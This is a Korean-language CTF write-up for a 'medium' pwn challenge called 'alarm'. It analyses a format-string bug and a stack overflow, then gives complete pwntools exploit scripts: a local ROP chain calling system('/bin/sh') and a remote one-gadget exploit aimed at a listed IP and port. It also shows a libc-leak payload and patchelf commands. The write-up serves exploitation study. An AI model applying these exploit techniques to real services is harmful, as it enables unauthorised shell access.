분석 환경: Windows 11, Ubuntu 20.04 사용자 제공 파일: 바이너리
해당 ctf에 pwn이 두 문제 나왔다. 이건 medium이다.
Analysis 보호 기법 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
취약점 IDA로 열어보면 되게 간단하다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; int buf; int fd; sub_400807(a1, a2, a3); fd = open("/dev/urandom" , 0 ); if ( fd == -1 ) { puts ("Open failed" ); return 0xFFFFFFFF LL; } else if ( read(fd, &buf, 4uLL ) == 4 ) { close(fd); puts ("Wellcome to the Alarm system!" ); fflush(stdout ); fgets(byte_6010C0, 1024 , stdin ); printf (byte_6010C0); puts ("Unlock value of alarm: " ); __isoc99_scanf("%x" , &v4); if ( buf == v4 ) vuln("%x" ); else puts ("UGVybWlzc2lvbiBkZW5pZWQhCg==\n" ); return 0LL ; } else { puts ("Read failed\n" ); return 0xFFFFFFFF LL; } }
fsb 취약점이 대놓고 보인다. 입력할 수 있는 바이트 수도 굉장히 넉넉하다.
바로 아래에서도 어떤 입력값 하나를 주고 그 입력값이 /dev/urandom
랜덤값과 같은지 비교한다. 같으면 vuln
함수가 실행되어 bof를 트리거할 수 있다.
1 2 3 4 5 6 7 8 __int64 __fastcall sub_400861 (const char *a1) { char buf[112 ]; printf ("Alarm set to @%p\n" , buf); read(0 , buf, 5000uLL ); return 0LL ; }
fsb 취약점이 존재한다면 할 수 있는게 굉장히 많다. 예를 들면 스택 값 노출 정도?
이 문제에선 bof를 트리거하고 작성할 수 있는 바이트 수가 굉장히 넉넉하고, canary도 존재하지 않아 bof만 잘 트리거 된다면 무리없이 ROP를 진행할 수 있을 것이다.
bof를 트리거하기 위한 조건은 랜덤 값을 일치시켜야하는 것인데, 이 랜덤 값은 스택에 저장된다. 따라서 fsb로 랜덤 값을 알아낼 수 있다.
Exploit 시나리오
fsb를 이용하여 랜덤 값과 libc base 구하기
랜덤 값을 입력하여 bof 트리거
ROP!
Exploit Code (local, Ubuntu 20.04) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *p = process('./alarm' ) e = ELF('./alarm' ) libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so' ) p.sendlineafter('system!' , '%p %9$p' ) p.recvline() leak = p.recvline().split(' ' ) print (leak)libc_leak = leak[0 ] random_leak = leak[1 ][:-1 ] log.info('libc_leak :: ' + libc_leak) log.info('random_leak :: ' + random_leak) p.sendlineafter('alarm:' , random_leak) libc_base = int (libc_leak,16 ) - 131 - libc.symbols['_IO_2_1_stdin_' ] log.info('libc_base :: ' + hex (libc_base)) system = libc_base + libc.symbols['system' ] binsh = libc_base + libc.search('/bin/sh' ).next () ret = libc_base + 0x22679 pop_rdi = libc_base + 0x23b6a payload = '' payload += 'A' * 112 payload += 'B' * 8 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(ret) payload += p64(system) p.send(payload) p.interactive()
find libc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ret = 0x40067e pop_rdi = 0x400a23 puts_got = e.got['puts' ] puts_plt = 0x400690 open_got = e.got['open' ] payload = '' payload += 'A' * 112 payload += 'B' * 8 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) p.send(payload) leak_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) log.info('leak addr: ' + hex (leak_addr))
libc database site: https://libcdb.konwur.de/
최종적으로 구한 libc version: libc6_2.27-3ubuntu1.6_amd64.so
Exploit Code (remote, Ubuntu 18.04) remote libc가 Ubuntu 18.04의 libc 버전이라서 원가젯을 무리없이 사용할 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *p = remote('34.159.80.143' , 31776 e = ELF('./alarm' ) libc = ELF('./libc-2.27.so' ) p.sendlineafter('system!' , '%11$p %9$p' ) p.recvline() leak = p.recvline().split(' ' ) print (leak)libc_leak = leak[0 ] random_leak = leak[1 ][:-1 ] log.info('libc_leak :: ' + libc_leak) log.info('random_leak :: ' + random_leak) p.sendlineafter('alarm:' , random_leak) libc_base = int (libc_leak,16 ) - 231 - libc.symbols['__libc_start_main' ] log.info('libc_base :: ' + hex (libc_base)) ret = 0x40067e oneshot = libc_base+0x4f302 payload = '' payload += 'A' * 112 payload += 'B' * 8 payload += p64(ret) payload += p64(oneshot) p.send(payload) p.interactive()
tmi 사실 이 대회 기간 때 libc version 구하고 main으로 돌려서(?) 뭐 이것저것 삽질하다가 못풀었다 ㅋㅋ;; main으로 돌리니깐 rip가 맨 처음 보내준 랜덤 값으로 바뀌어서 다른 일을 잠깐 하러 갔다. 그런 사이 대회가 종료되어서 서버가 바로 닫혀버려서 remote shell은 따지 못하였다. 후..
창도 다 닫아버려서 libc 버전도 까먹었고, 서버도 닫혀서 offset도 구할 수 없어서 디코에 조심스럽게 libc 버전을 물어봤더니 libc6_2.27-3ubuntu1.6_amd64.so
라고 친절하게 알려주셨다. 그래서 바이너리를 patch하고 풀어보았다.
사실 이 과정에서 새로운 사실을 알게 되었다.
알려주신 libc 버전은 Ubuntu 18.04과 동일하다. 그래서 Ubuntu 18.04에서 libc와 ld를 가져왔다.
1 2 3 4 5 6 7 jir4vvit@ubuntu:~/ctf/dctf/alarm$ ldd alarm linux-vdso.so.1 (0x00007fff621e2000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f05fa6c9000) /lib64/ld-linux-x86-64.so.2 (0x00007f05fa8cf000) jir4vvit@ubuntu:~/ctf/dctf/alarm$ ls alarm ld-2.27.so libc-2.27.so local.py remote.py
patch를 하려는데 잘 안되어서 알아보니까 libc 이름을 libc.so.6
으로 변경해야하더라.
1 2 3 4 5 6 7 jir4vvit@ubuntu:~/ctf/dctf/alarm$ patchelf --set-rpath . --set-interpreter ./ld-2.27.so alarm jir4vvit@ubuntu:~/ctf/dctf/alarm$ cp libc-2.27.so libc.so.6 jir4vvit@ubuntu:~/ctf/dctf/alarm$ patchelf --set-rpath . --replace-needed libc.so.6 ./libc.so.6 alarm jir4vvit@ubuntu:~/ctf/dctf/alarm$ ldd alarm linux-vdso.so.1 (0x00007ffd5c699000) ./libc.so.6 (0x00007f32d2251000) ./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007f32d2644000)
이렇게 remote의 바이너리로 patch해서 remote를 잘 해결할 수 있었다.